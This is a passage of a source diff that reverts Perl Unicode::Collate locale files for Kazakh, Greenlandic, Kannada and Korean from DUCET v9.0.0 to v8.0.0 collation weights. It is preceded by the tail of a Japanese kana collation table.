30FD ; [.3BEE.0020.0011.0002][.3BEE.0020.0010.0002] # +FF9A 30FD ; [.3BEE.0020.0011.0002][.3BEE.0020.0010.0002] # +308C 309D ; [.3BEE.0020.0011.0001][.3BEE.0020.0010.0002] # +30ED 30FD ; [.3BEF.0020.0011.0002][.3BEF.0020.0010.0002] # +FF9B 30FD ; [.3BEF.0020.0011.0002][.3BEF.0020.0010.0002] # +308D 309D ; [.3BEF.0020.0011.0001][.3BEF.0020.0010.0002] # +30EE 30FD ; [.3BF0.0020.000F.0002][.3BF0.0020.0010.0002] # +308E 309D ; [.3BF0.0020.000F.0001][.3BF0.0020.0010.0002] # +30EE 30FE ; [.3BF0.0020.000F.0002][.3BF0.0020.0010.0002][.0000.0037.0002] # +308E 309E ; [.3BF0.0020.000F.0001][.3BF0.0020.0010.0002][.0000.0037.0002] # +30EF 30FD ; [.3BF0.0020.0011.0002][.3BF0.0020.0010.0002] # +FF9C 30FD ; [.3BF0.0020.0011.0002][.3BF0.0020.0010.0002] # +308F 309D ; [.3BF0.0020.0011.0001][.3BF0.0020.0010.0002] # +30EF 30FE ; [.3BF0.0020.0011.0002][.3BF0.0020.0010.0002][.0000.0037.0002] # +FF9C 30FE ; [.3BF0.0020.0011.0002][.3BF0.0020.0010.0002][.0000.0037.0002] # +308F 309E ; [.3BF0.0020.0011.0001][.3BF0.0020.0010.0002][.0000.0037.0002] # +30F0 30FD ; [.3BF1.0020.0011.0002][.3BF1.0020.0010.0002] # +3090 309D ; [.3BF1.0020.0011.0001][.3BF1.0020.0010.0002] # +30F0 30FE ; [.3BF1.0020.0011.0002][.3BF1.0020.0010.0002][.0000.0037.0002] # +3090 309E ; [.3BF1.0020.0011.0001][.3BF1.0020.0010.0002][.0000.0037.0002] # +30F1 30FD ; [.3BF2.0020.0011.0002][.3BF2.0020.0010.0002] # +3091 309D ; [.3BF2.0020.0011.0001][.3BF2.0020.0010.0002] # +30F1 30FE ; [.3BF2.0020.0011.0002][.3BF2.0020.0010.0002][.0000.0037.0002] # +3091 309E ; [.3BF2.0020.0011.0001][.3BF2.0020.0010.0002][.0000.0037.0002] # +30F2 30FD ; [.3BF3.0020.0011.0002][.3BF3.0020.0010.0002] # +FF66 30FD ; [.3BF3.0020.0011.0002][.3BF3.0020.0010.0002] # +3092 309D ; [.3BF3.0020.0011.0001][.3BF3.0020.0010.0002] # +30F2 30FE ; [.3BF3.0020.0011.0002][.3BF3.0020.0010.0002][.0000.0037.0002] # +FF66 30FE ; [.3BF3.0020.0011.0002][.3BF3.0020.0010.0002][.0000.0037.0002] # +3092 309E ; [.3BF3.0020.0011.0001][.3BF3.0020.0010.0002][.0000.0037.0002] # +30F3 30FD ; [.3BF4.0020.0011.0002][.3BF4.0020.0010.0002] # +FF9D 30FD ; [.3BF4.0020.0011.0002][.3BF4.0020.0010.0002] # +3093 309D ; [.3BF4.0020.0011.0001][.3BF4.0020.0010.0002] # +30F4 30FD ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0010.0002] # +30A6 3099 30FD ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0010.0002] # +FF73 FF9E 30FD ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0010.0002] # +3094 309D ; [.3BC5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0010.0002] # +3046 3099 309D ; [.3BC5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0010.0002] # +30F4 30FE ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # +30A6 3099 30FE ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # +FF73 FF9E 30FE ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # +3094 309E ; [.3BC5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # +3046 3099 309E ; [.3BC5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # +30F5 30FD ; [.3BC9.0020.000F.0002][.3BC9.0020.0010.0002] # +3095 309D ; [.3BC9.0020.000F.0001][.3BC9.0020.0010.0002] # +30F5 30FE ; [.3BC9.0020.000F.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # +3095 309E ; [.3BC9.0020.000F.0001][.3BC9.0020.0010.0002][.0000.0037.0002] # +30F6 30FD ; [.3BCC.0020.000F.0002][.3BCC.0020.0010.0002] # +3096 309D ; [.3BCC.0020.000F.0001][.3BCC.0020.0010.0002] # +30F6 30FE ; [.3BCC.0020.000F.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # +3096 309E ; [.3BCC.0020.000F.0001][.3BCC.0020.0010.0002][.0000.0037.0002] # +30F7 30FD ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BF0.0020.0010.0002] # +30EF 3099 30FD ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BF0.0020.0010.0002] # +FF9C FF9E 30FD ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BF0.0020.0010.0002] # +30F7 30FE ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BF0.0020.0010.0002][.0000.0037.0002] # +30EF 3099 30FE ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BF0.0020.0010.0002][.0000.0037.0002] # +FF9C FF9E 30FE ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BF0.0020.0010.0002][.0000.0037.0002] # +30F8 30FD ; [.3BF1.0020.0011.0002][.0000.0037.0002][.3BF1.0020.0010.0002] # +30F0 3099 30FD ; [.3BF1.0020.0011.0002][.0000.0037.0002][.3BF1.0020.0010.0002] # +30F8 30FE ; [.3BF1.0020.0011.0002][.0000.0037.0002][.3BF1.0020.0010.0002][.0000.0037.0002] # +30F0 3099 30FE ; [.3BF1.0020.0011.0002][.0000.0037.0002][.3BF1.0020.0010.0002][.0000.0037.0002] # +30F9 30FD ; [.3BF2.0020.0011.0002][.0000.0037.0002][.3BF2.0020.0010.0002] # +30F1 3099 30FD ; [.3BF2.0020.0011.0002][.0000.0037.0002][.3BF2.0020.0010.0002] # +30F9 30FE ; [.3BF2.0020.0011.0002][.0000.0037.0002][.3BF2.0020.0010.0002][.0000.0037.0002] # +30F1 3099 30FE ; [.3BF2.0020.0011.0002][.0000.0037.0002][.3BF2.0020.0010.0002][.0000.0037.0002] # +30FA 30FD ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BF3.0020.0010.0002] # +30F2 3099 30FD ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BF3.0020.0010.0002] # +FF66 FF9E 30FD ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BF3.0020.0010.0002] # +30FA 30FE ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BF3.0020.0010.0002][.0000.0037.0002] # +30F2 3099 30FE ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BF3.0020.0010.0002][.0000.0037.0002] # +FF66 FF9E 30FE ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BF3.0020.0010.0002][.0000.0037.0002] # +31F0 30FD ; [.3BCB.0020.000F][.3BCB.0020.0010.0002] # +31F0 30FE ; [.3BCB.0020.000F][.3BCB.0020.0010.0002][.0000.0037.0002] # +31F1 30FD ; [.3BCF.0020.000F][.3BCF.0020.0010.0002] # +31F1 30FE ; [.3BCF.0020.000F][.3BCF.0020.0010.0002][.0000.0037.0002] # +31F2 30FD ; [.3BD0.0020.000F][.3BD0.0020.0010.0002] # +31F2 30FE ; [.3BD0.0020.000F][.3BD0.0020.0010.0002][.0000.0037.0002] # +31F3 30FD ; [.3BD7.0020.000F][.3BD7.0020.0010.0002] # +31F3 30FE ; [.3BD7.0020.000F][.3BD7.0020.0010.0002][.0000.0037.0002] # +31F4 30FD ; [.3BDA.0020.000F][.3BDA.0020.0010.0002] # +31F5 30FD ; [.3BDD.0020.000F][.3BDD.0020.0010.0002] # +31F5 30FE ; [.3BDD.0020.000F][.3BDD.0020.0010.0002][.0000.0037.0002] # +31F6 30FD ; [.3BDE.0020.000F][.3BDE.0020.0010.0002] # +31F6 30FE ; [.3BDE.0020.000F][.3BDE.0020.0010.0002][.0000.0037.0002] # +31F7 30FD ; [.3BDF.0020.000F][.3BDF.0020.0010.0002] # +31F7 30FE ; [.3BDF.0020.000F][.3BDF.0020.0010.0002][.0000.0037.0002] # +31F8 30FD ; [.3BE0.0020.000F][.3BE0.0020.0010.0002] # +31F8 30FE ; [.3BE0.0020.000F][.3BE0.0020.0010.0002][.0000.0037.0002] # +31F9 30FD ; [.3BE1.0020.000F][.3BE1.0020.0010.0002] # +31F9 30FE ; [.3BE1.0020.000F][.3BE1.0020.0010.0002][.0000.0037.0002] # +31FA 30FD ; [.3BE4.0020.000F][.3BE4.0020.0010.0002] # +31FB 30FD ; [.3BEB.0020.000F][.3BEB.0020.0010.0002] # +31FC 30FD ; [.3BEC.0020.000F][.3BEC.0020.0010.0002] # +31FD 30FD ; [.3BED.0020.000F][.3BED.0020.0010.0002] # +31FE 30FD ; [.3BEE.0020.000F][.3BEE.0020.0010.0002] # +31FF 30FD ; [.3BEF.0020.000F][.3BEF.0020.0010.0002] # F967 ; [.8961.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F967 FA70 ; [.89AD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA70 F905 ; [.828D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F905 diff --git a/cpan/Unicode-Collate/Collate/Locale/kk.pl b/cpan/Unicode-Collate/Collate/Locale/kk.pl index 80ec689f69d0..0fc12634d837 100644 --- a/cpan/Unicode-Collate/Collate/Locale/kk.pl +++ b/cpan/Unicode-Collate/Collate/Locale/kk.pl @@ -1,13 +1,13 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0451 ; [.205B.0020.0002] # CYRILLIC SMALL LETTER IO -0435 0308 ; [.205B.0020.0002] # CYRILLIC SMALL LETTER IO -0401 ; [.205B.0020.0008] # CYRILLIC CAPITAL LETTER IO -0415 0308 ; [.205B.0020.0008] # CYRILLIC CAPITAL LETTER IO -04AF ; [.2126.0020.0002] # CYRILLIC SMALL LETTER STRAIGHT U -04AE ; [.2126.0020.0008] # CYRILLIC CAPITAL LETTER STRAIGHT U -0456 ; [.2197.0020.0002] # CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I -0406 ; [.2197.0020.0008] # CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0451 ; [.1FD6.0020.0002] # CYRILLIC SMALL LETTER IO +0435 0308 ; [.1FD6.0020.0002] # CYRILLIC SMALL LETTER IO +0401 ; [.1FD6.0020.0008] # CYRILLIC CAPITAL LETTER IO +0415 0308 ; [.1FD6.0020.0008] # CYRILLIC CAPITAL LETTER IO +04AF ; [.20A1.0020.0002] # CYRILLIC SMALL LETTER STRAIGHT U +04AE ; [.20A1.0020.0008] # CYRILLIC CAPITAL LETTER STRAIGHT U +0456 ; [.2112.0020.0002] # CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I +0406 ; [.2112.0020.0008] # CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/kl.pl b/cpan/Unicode-Collate/Collate/Locale/kl.pl index 1aa7a2c9ebfa..0c2c90539b86 100644 --- a/cpan/Unicode-Collate/Collate/Locale/kl.pl +++ b/cpan/Unicode-Collate/Collate/Locale/kl.pl @@ -1,75 +1,75 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0111 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -00F0 ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH -1DD9 ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH -00D0 ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH -0138 ; [.1E21.0021.0002] # LATIN SMALL LETTER KRA -004B 0027 ; [.1E21.0021.0008] # -00FE ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN -00DE ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN -00FC ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0171 ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0170 ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -00E6 ; [.1F96.0020.0002] # LATIN SMALL LETTER AE -1DD4 ; [.1F96.0020.0002] # COMBINING LATIN SMALL LETTER AE -00C6 ; [.1F96.0020.0008] # LATIN CAPITAL LETTER AE -1D2D ; [.1F96.0020.0014] # MODIFIER LETTER CAPITAL AE -01FD ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE -01FC ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE -01E3 ; [.1F96.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON -01E2 ; [.1F96.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON -00E4 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1F96.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1F96.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -0119 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0065 0328 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0118 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -0045 0328 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -00F8 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE -006F 0338 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE -00D8 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE -004F 0338 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE -01FF ; [.1F97.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE -01FE ; [.1F97.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE -00F6 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -0151 ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -006F 030B ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -0150 ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -004F 030B ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -0153 ; [.1F97.0023.0002] # LATIN SMALL LIGATURE OE -0152 ; [.1F97.0023.0008] # LATIN CAPITAL LIGATURE OE -00E5 ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -0061 030A ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -00C5 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -0041 030A ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -212B ; [.1F98.0020.0008] # ANGSTROM SIGN -01FB ; [.1F98.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE -01FA ; [.1F98.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0111 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +00F0 ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH +1DD9 ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH +00D0 ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH +0138 ; [.1D9C.0021.0002] # LATIN SMALL LETTER KRA +004B 0027 ; [.1D9C.0021.0008] # +00FE ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN +00DE ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN +00FC ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0171 ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0170 ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +00E6 ; [.1F11.0020.0002] # LATIN SMALL LETTER AE +1DD4 ; [.1F11.0020.0002] # COMBINING LATIN SMALL LETTER AE +00C6 ; [.1F11.0020.0008] # LATIN CAPITAL LETTER AE +1D2D ; [.1F11.0020.0014] # MODIFIER LETTER CAPITAL AE +01FD ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE +01FC ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE +01E3 ; [.1F11.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON +01E2 ; [.1F11.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON +00E4 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1F11.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1F11.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +0119 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0065 0328 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0118 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +0045 0328 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +00F8 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE +006F 0338 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE +00D8 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE +004F 0338 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE +01FF ; [.1F12.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE +01FE ; [.1F12.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE +00F6 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +0151 ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +006F 030B ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +0150 ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +004F 030B ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +0153 ; [.1F12.0023.0002] # LATIN SMALL LIGATURE OE +0152 ; [.1F12.0023.0008] # LATIN CAPITAL LIGATURE OE +00E5 ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +0061 030A ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +00C5 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +0041 030A ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +212B ; [.1F13.0020.0008] # ANGSTROM SIGN +01FB ; [.1F13.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE +01FA ; [.1F13.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/kn.pl b/cpan/Unicode-Collate/Collate/Locale/kn.pl index e32820448b7b..eb99de0c14b5 100644 --- a/cpan/Unicode-Collate/Collate/Locale/kn.pl +++ b/cpan/Unicode-Collate/Collate/Locale/kn.pl @@ -1,10 +1,10 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0C82 ; [.284C.0020.0002][.FFF1.0000.0000] # KANNADA SIGN ANUSVARA -0C83 ; [.284C.0020.0002][.FFF2.0000.0000] # KANNADA SIGN VISARGA -0CF1 ; [.284C.0020.0002][.FFF3.0000.0000] # KANNADA SIGN JIHVAMULIYA -0CF2 ; [.284C.0020.0002][.FFF4.0000.0000] # KANNADA SIGN UPADHMANIYA -0C94 ; [.284C.0020.0002][.FFF0.0000.0000] # KANNADA LETTER AU + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0C82 ; [.27BF.0020.0002][.FFF1.0000.0000] # KANNADA SIGN ANUSVARA +0C83 ; [.27BF.0020.0002][.FFF2.0000.0000] # KANNADA SIGN VISARGA +0CF1 ; [.27BF.0020.0002][.FFF3.0000.0000] # KANNADA SIGN JIHVAMULIYA +0CF2 ; [.27BF.0020.0002][.FFF4.0000.0000] # KANNADA SIGN UPADHMANIYA +0C94 ; [.27BF.0020.0002][.FFF0.0000.0000] # KANNADA LETTER AU ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/ko.pl b/cpan/Unicode-Collate/Collate/Locale/ko.pl index 56a34780d027..62634eaf1293 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ko.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ko.pl @@ -1,647 +1,647 @@ use Unicode::Collate::CJK::Korean; +{ - locale_version => 1.25, + locale_version => 1.19, overrideCJK => \&Unicode::Collate::CJK::Korean::weightKorean, - entry => <<'ENTRY', # for DUCET v9.0.0 -F967 ; [.3BFC.0021.0002.4E0D][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F967 -FA70 ; [.3BFC.0032.0002.4E26][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA70 -F905 ; [.3BF5.0021.0002.4E32][.3C7B.0020.0002][.3CE6.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F905 -2F801 ; [.3C07.0021.0002.4E38][.3C7C.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F801 -F95E ; [.3BF8.0021.0002.4E39][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95E -F91B ; [.3BFA.0021.0002.4E82][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91B -F9BA ; [.3BFA.0021.0002.4E86][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BA -F977 ; [.3BFA.0021.0002.4EAE][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F977 -F9FD ; [.3BFE.0021.0002.4EC0][.3C87.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FD -F9A8 ; [.3BFA.0021.0002.4EE4][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A8 -F92D ; [.3BFA.0021.0002.4F86][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92D -F9B5 ; [.3BFA.0021.0002.4F8B][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B5 -FA30 ; [.3BFB.0021.0002.4FAE][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA30 -2F805 ; [.3BFB.0021.0002.4FAE][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F805 -2F806 ; [.3C05.0023.0002.4FBB][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F806 -F965 ; [.3C06.0021.0002.4FBF][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F965 -2F807 ; [.3BFC.0022.0002.5002][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F807 -F9D4 ; [.3BFA.0022.0002.502B][.3C84.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D4 -2F809 ; [.3BFC.0022.0002.5099][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F809 -2F80B ; [.3BFE.0023.0002.50CF][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F80B -F9BB ; [.3BFA.0022.0002.50DA][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BB 